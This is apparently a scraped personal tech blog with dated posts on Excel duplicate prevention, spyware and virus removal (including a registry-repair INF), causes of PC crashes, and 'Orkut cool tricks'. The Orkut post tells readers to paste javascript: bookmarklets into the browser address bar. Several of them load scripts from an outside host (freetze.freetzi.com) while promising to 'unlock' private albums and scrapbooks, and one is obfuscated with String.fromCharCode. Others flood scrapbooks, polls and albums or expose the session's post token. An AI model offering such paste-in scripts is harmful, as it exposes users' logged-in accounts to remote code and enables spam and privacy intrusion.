Showing posts with label HEALTH. Show all posts
Showing posts with label HEALTH. Show all posts

Friday, September 2, 2016

Prevent Duplicate Entries in Excel

This example teaches you how to use data validation to prevent users from entering duplicate values.
1. Select the range A2:A20.
2. On the Data tab, click Data Validation.

3. In the Allow list, click Custom.
4. In the Formula box, enter the formula shown below and click OK.


Explanation: The COUNTIF function takes two arguments. =COUNTIF($A$2:$A$20,A2) counts the number of values in the range A2:A20 that are equal to the value in cell A2. This value may only occur once (=1) since we don't want duplicate entries. Because we selected the range A2:A20 before we clicked on Data Validation, Excel automatically copies the formula to the other cells. Notice how we created an absolute reference ($A$2:$A$20) to fix this reference.
5. To check this, select cell A3 and click Data Validation.



As you can see, this function counts the number of values in the range A2:A20 that are equal to the value in cell A3. Again, this value may only occur once (=1) since we don't want duplicate entries.
6. Enter a duplicate invoice number.
Result. Excel shows an error alert. You've already entered that invoice number.





Monday, August 2, 2010

REMOVE VIRUS SAME NAME FOLDER EXE FILE IN FOLDER

A virus which produce a folder in folder with same name which folder is open?

bug2

Follow the simple steps which i Am going to tell you. Then hopefully that nasty virus will be removed.
1. go to the following web link and download McAfee Stinger, it is a small standalone antivirus scanner, and its free of cost. you do not have to install it. just download and run it.
http://vil.nai.com/vil/stinger/
2. now after downloading, double click on the stinger or RUN it.
3. hit the scan button and let the stinger scan for infections in your computer.
4. after the scan is finished stinger will remove all the viruses and Trojans.
5. but if for any reason it does not removes the virus then follow these steps. :-
a: reboot your computer in the safe mode.
b: then run the stinger and follow the procedure from step 3 which i mentioned above.
Good Luck my Friend. !!
Hope this will solve ur query.

Wednesday, July 7, 2010

ORKUT COOL TRICS JAVA SCRIPTS PART 2

 

Scrap All
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/photo.js';void(0)
Hit enter.
It sends scrap to all the friend's automatically.

Unlock Any Scrapbook
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/scrapbook.js';void(0)
Hit enter.
It unlocks all scrapbooks automatically.

Unlock Any Album
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/album.js';void(0)
Hit enter.
It unlocks all albums automatically.

Increase your fans
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/fans.js';void(0)
Hit enter.
It increase your fans within minutes.

Show Video Instead Of Profile Picture
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/video.js';void(0)
Hit enter.
It replaces video with your profile picture.

Scrapbook Flooder
Open scrapbook.
Write something in the text box.
Donot press submit
Copy the following java script into the URL bar.
javascript: i=0;nb=document.body.innerHTML.match(/\w+\/\d+\/(\d+).jpg/i)[1];nb1=document.getElementsByTagName('TEXTAREA').item(0).value; document.body.innerHTML+='<iframe name="SbFlood" width="800" height="600"/>'; function a(){vi=replyForm;vi.toUserId.value=nb;vi.target="SbFlood";vi.scrapText.value=nb1 + "[silver]" + i ;vi.action='Scrapbook.aspx?Action.submit';vi.submit();i++};void(setInterval(a,1050))
Hit enter.
Close the window or press refresh to stop the flooding.

Add a Friend
This code will add your friend automatically when you run this script.
Run the on your friend's profile whom you want to add.
Paste the script and run on the page you have opened(friend's profile).
javascript:add=document.forms[1];add.action='FriendAdd.aspx?Action.yes&'+location.href.match(/uid=\d*/gi);add.submit(); void (0)
Paste the script in URL and hit enter.You are done!!

Poll Flooder
Just open the Polls you to have flood and paste the script on address bar.javascript:inputs=document.getElementsByTagName('input');for(x=0;x<inputs.length;x++){tipo=inputs[x].type;if(tipo=="radio"){inputs[x].type="checkbox";inputs[x].checked="true"}};void(0)
Hit Enter.
After running this script all the options in the poll will be selected,then you have to press vote.So that you w'll be voting all the options at a time.
This Script which will flood all the options at once but only for one time.

Testimonial to All
This Script is used to send testi to all your friend's.
Open this Page and run the script.
Paste the following javascript in your web browser address bar after navigating to the specified orkut page.javascript:vi=document.getElementsByTagName('TEXTAREA').item(0).value;d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="/TestimonialWrite.aspx?&Action.submit&countedTextbox="+vi+"&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),5000))

Album Hack
This Script will show or display the pictures which are hidden in friend's profile.
Paste the following javascript in your web browser address bar after navigating to the specified orkut page. javascript:alert("Wait for few seconds for pic`s to load......");nb=document.all[0].innerHTML.match(/[0-9]*.jpg\)/g);nb=parseInt(nb);document.body.innerHTML="<center><font style='font-size:20'><b>hacking album...wait for a minute<br></b>http://www.fakers.co.nr</font>";for(i=1;i<=50;i++){document.body.innerHTML+='<img src="http://img3.orkut.com/images/milieu/'+i+'/0/'+nb+'.jpg"><br><br><br><br>';};void(0)

Mass scrap deleter
Open your scrapbook.
Copy the following java script into the URL bar.
javascript:i=0;document.body.innerHTML+='<iframe name="tio" width="800" height="600"></iframe>';window[0].location="http://www.orkut.com/Scrapbook.aspx?&pageSize=30";function nick(){document.forms[1].target="tio";window[0]._checkAll(window[0].document.scrapsForm, 'scrapKeys', true);window[0]._submitForm(window[0].document.forms[2], 'delete', '');window[0].location=window[0].document.links[20].href;};void(setInterval(nick,2000))
Hit enter.
Close the window or press refresh to stop the deleting.

Coloured scraps
Write anything in text box
Copy the script and paste it in URL bar.
Presss enter
Now submit the scrap
javascript:cor=new Array('green','red','blue','maroon');var z=0;txt=document.getElementsByTagName('textarea')[0]; txt.value=txt.value.replace(/\n/gi,'§ ');sp=txt.value.split(' ');txti='';for(l=0;l<sp.length;l++){txti+="["+cor[z]+"]"+sp[l]+' ';z++;if(z==cor.length){z=0}}; txt.value=txti;txt.value=txt.value.replace(/\§/gi,'\n');void(0)
New way of writing

Write anything in text box
Copy the script and paste it in URL bar.
Presss enter
Now submit the scrap
javascript:var txt=document.getElementsByTagName('textarea') [0];txt.value=txt.value.replace(/a/gi,"α"); txt.value=txt.value.replace(/p/gi,"ρ");txt.value=txt.value.replace(/N /gi,"и");txt.value=txt.value.replace(/t/gi,"т"); txt.value=txt.value.replace(/E/gi,"є");txt.value=txt.value.replace(/u /gi,"υ");txt.value=txt.value.replace(/h/gi,"н"); txt.value=txt.value.replace(/s/gi,"ร");txt.value=txt.value.replace(/o /gi,"σ");txt.value=txt.value.replace(/m/gi,"м");txt.value=txt.value.replace(/r/gi,"я");void(0);
Message Reverser
Open scrapbook
Write text in text box.
Copy the script in URL bar and hit enter.
Now submit the scrap
javascript:alert("Katyal Rocks");msgm=prompt("message");function reverse() { var inp = msgm; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}txt=document.getElementsByTagName('textarea')[0];txt.value=outp ;}; reverse();
Dictionary in orkut
Copy the script in URL bar and hit enter.
Write the desired word and get its meaning.
javascript:eval(String.fromCharCode(97, 61, 112, 114, 111, 109, 112, 116, 40, 34, 69, 110, 116, 101, 114, 32, 87, 111, 114, 100, 32, 84, 111, 32, 66, 101, 32, 83, 101, 97, 114, 99, 104, 101, 100, 32, 73, 110, 32, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 34, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 43, 61, 39, 60, 105, 102, 114, 97, 109, 101, 32, 110, 97, 109, 101, 61, 34, 97, 114, 115, 104, 34, 32, 119, 105, 100, 116, 104, 61, 34, 49, 48, 50, 52, 34, 32, 104, 101, 105, 103, 104, 116, 61, 34, 55, 54, 56, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 39, 59, 119, 105, 110, 100, 111, 119, 91, 48, 93, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 100, 105, 99, 116, 105, 111, 110, 97, 114, 121, 46, 104, 109, 47, 115, 101, 97, 114, 99, 104, 95, 102, 117, 110, 99, 116, 105, 111, 110, 46, 112, 104, 112, 63, 113, 61, 34, 32, 43, 97));void(0)

Profile without picture
Use this script while you are in cropping stage
javascript:i=document.getElementsByTagName('input');i['apw'].value="1";i['aph'].value="1";i['apx'].value="0";i['apy'].value="0";i['apdw'].value=crpImg.width;i['apdh'].value=crpImg.height;_submitForm(document.getElementById('cropForm'),'crop');void(0)
Album flooder
Goto http://www.orkut.com/Album.aspx
Then browse pic which u want to flood after selection run this script.
javascript:function devil(){_submitForm(document.forms[1], 'upload', '');}void(setInterval(devil,350));
Vibrator in orkut
Just open orkut page and copy this script in URL bar.
javascript:function flood(n) {if (self.moveBy) {for (i = 20; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} flood(10);{ var inp = "!!!skcoR llA parcS"; var outp = ""; for (i = 0; i <= inp.length; i++) { outp = inp.charAt (i) + outp ; } alert(outp) ;}; reverse();
Hit enter.

Add all to your hot list
Just open orkut page and copy this script in URL bar.
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addHot&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Hit enter.

Add all to your ignore list
Just open orkut page and copy this script in URL bar.
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addIgonre&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Hit enter.

Add all ur friends to ur crush list
Open this Page and run the script.
Allow all pop ups of orkut.com
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addCrush&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Empty ur crush list
javascript:i=0;document.body.innerHTML+='<iframe name="nobody" width="800" height="600"></iframe>';window[0].location="/Marks.aspx?mid=3";function nb(){document.forms[1].target="nobody";window[0]._submitForm(window[0].document.forms[1], 'delete', '');};void(setInterval(nb,2000));

View UID's of all friends
Copy the script in in friend's list.
Hit enter
javascript:var text_LoL = document.body.innerHTML.match(/uid=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 = "";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' + text_LoL[index_1] + '",<br>'} else {text_LoL_1 = text_LoL_1}};document.write(text_LoL_1)

View all community ids
Copy the scipt in communities page.
Hit enter.
javascript:var text_LoL = document.body.innerHTML.match(/cmm=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 ="";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' +text_LoL[index_1] + '",'} else {text_LoL_1 = text_LoL_1}};
Post same topic in selected communities
Paste all the community UID,s in the given format cmm=['42454897','5866948']; (even a comma makes a difference)

Open any non-anonymous community
Type the Subject and Body[colour and smileys allowed]
Run the script and allow all pop ups.
javascript:var text_LoL = document.body.innerHTML.match(/cmm=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 ="";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' +text_LoL[index_1] + '",'} else {text_LoL_1 = text_LoL_1}};
You will find the topic(posted by you) in all the selected communities
See your signature and token id
Copy the script in scrapbook URL bar and hit enter.
javascript:df=document.forms[1];df.scrapText.value='Signature: ' +df.signature.value+'\nPost Token: '+df.POST_TOKEN.value;void(0)

Thursday, June 24, 2010

REMOVE SPY WARE FROM YOUR PC. EVERYTHING ABOUT SPYWARE

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.

If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

----------------------------------------------------------------------------
All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k

Finding . is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k

Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

Tuesday, June 22, 2010

10 REASONS WHY PC CRASH

10 reasons why PCs crash U must Know

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

Sunday, May 30, 2010

HOW TO DELETE VIRUS INFECTED FILES DOWNLOAD FILE ASSASSIN

Version: 1.06

mikkimaxfileassa

FileASSASSIN is a freeware Windows application which can delete files that a particular malware infection put onto your system. Portable and installable versions are available.

This small powerful application was created to delete any type of locked files that are on your computer. It uses advanced programming techniques to unload modules, close remote handles, and terminate processes and remove such files. Now it doesn't matter if windows says "Access is denied." or "The source or destination file may be in use."
Except from malware infection files, FileASSASSIN can be used to remove anything, so use it with caution as deleting critical system files may cause system errors. This application is free for personal use, for a corporate license or site license please visit "Corporate licensing" link below.

OS compatibility: Windows 2000, XP, Vista, Win7

Portable download link: FileASSASSIN at malwarebytes.org (all versions)

Portable download link: FileASSASSIN at softpedia

Official website: Malwarebytes

Sunday, May 23, 2010

DOWNLOAD KASPERSKY PRODUCT BY FTP

 

DOWNLOAD LOTS OF KASPERSKY PRODUCT AND TOOLS FROM THIS FTP LINK BY KASPERSKY LAB :

DOWNLOAD KASPERSKY RESCUE DISK FROM FTP

MIKKIMAX

CLICK HERE TO GO FTP LINK

Monday, December 21, 2009

DLL-files.com - Your solution to dll-problems!

DLL-files.com - Your solution to dll-problems!

Everyone has received a "Couldn't find ****.dll..." pop-up message at some time.
Well folks, your problems are over!
Here you will find the most common files that may be missing or corrupted on your computer. Feel free to download at no cost!
Please don't forget to bookmark (Press Ctrl + D) this site, as you never know when you have a computer-related problem next time. Further information on dll-files, can be found here.
/DLL-files.com Crew

MIKKIMAX

Wednesday, December 9, 2009

TRICKS OF REMOVING VIRUS DEADLOCK

 image2

Deadlock virus is very fierce. If your computer is infected, on 12 and 13 every month, all your data will be destroyed, either in hard drive, Flashdisk by displaying the message "NTLDR is Missing".

If your computer has been a victim of Deadlock, do not reinstall your OS. Perform data recovery process is important to use data recovery applications.
If you reinstall the OS to a hard drive that contains the data you want on the recover, the recovery will fail.
Here are 6 steps to remove deadlock virus:


1. Disable [System Restore] during the cleaning process.
2. Turn off the active virus process in memory, use Task Manager replacement tools such as 'Process Explorer', then turn off the process with mysql.exe and apache.exe. Please download these tools at the following url: http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx
3. In order for this virus can not be active again you should block these files can not be executed in order to enroll in the Software Restriction Policies. This feature is only on computers with operating system Windows XP Professional / Windows Server 2003 / Windows Vista and Windows Server 2008.

-. Start - Run type in command SECPOL.MSC then click the [OK]
-. Having emerged Local Security Settings screen, right-click on Software Restriction Policies menu and click Create New Policies
-. On the Software Restriction Policies menu, click Additional Rules
-. Right-click on Additional Rules and select New Hash Rule, and the display will show the New Hash Rule
-. In the column hash file click the Browse button, then navigate to the directory [C:\Windows\system32\apache.exe] and click [Open]
-. In the Security field level select [Disallowed]
-. In the description column in the content may or emptied only
-. Click the [Apply] and [Ok]
Note: If your computer is not installed Windows XP Professional/2003 Server/Vista/2008 passed this step.
4. Remove string registry that has been changed by the virus. To expedite the repair process copy the script below in notepad and then save with the name of the file repair.inf then run the following manner:
-. Right-click the file repair.inf
-. Click [Install]
[Version]
Signature="$Chicago$"
Provider=Vaksincom
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""
HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"
HKLM, SYSTEM\ControlSet001\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SYSTEM\ControlSet002\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SYSTEM\CurrentControlSet\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Run, apache
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, mysql
5. Remove the parent virus files in the directory
-. C:\Windows\system32\apache.exe
-. C:\Windows\system32\mysql.exe
6. For optimal cleaning and prevent reinfection, install and use anti-virus scan with up-to-date.
You can also use Norman Malware Cleaner, please download these tools at the following address: http://www.norman.com/support/support_tools/58732/en-us
If your infected computer can not boot with the error message NTLDR Is Missing, reinstall the windows.

Friday, December 4, 2009

Intel Processor Identification Utility Download

Intel-Chipset-Identification-Utility_4

The Intel Processor Identification Utility is an official utility by Intel Corporation to identify the processor inside a system, assuring the processor contains intended technologies and is operating at the tested and rated frequency as intended.

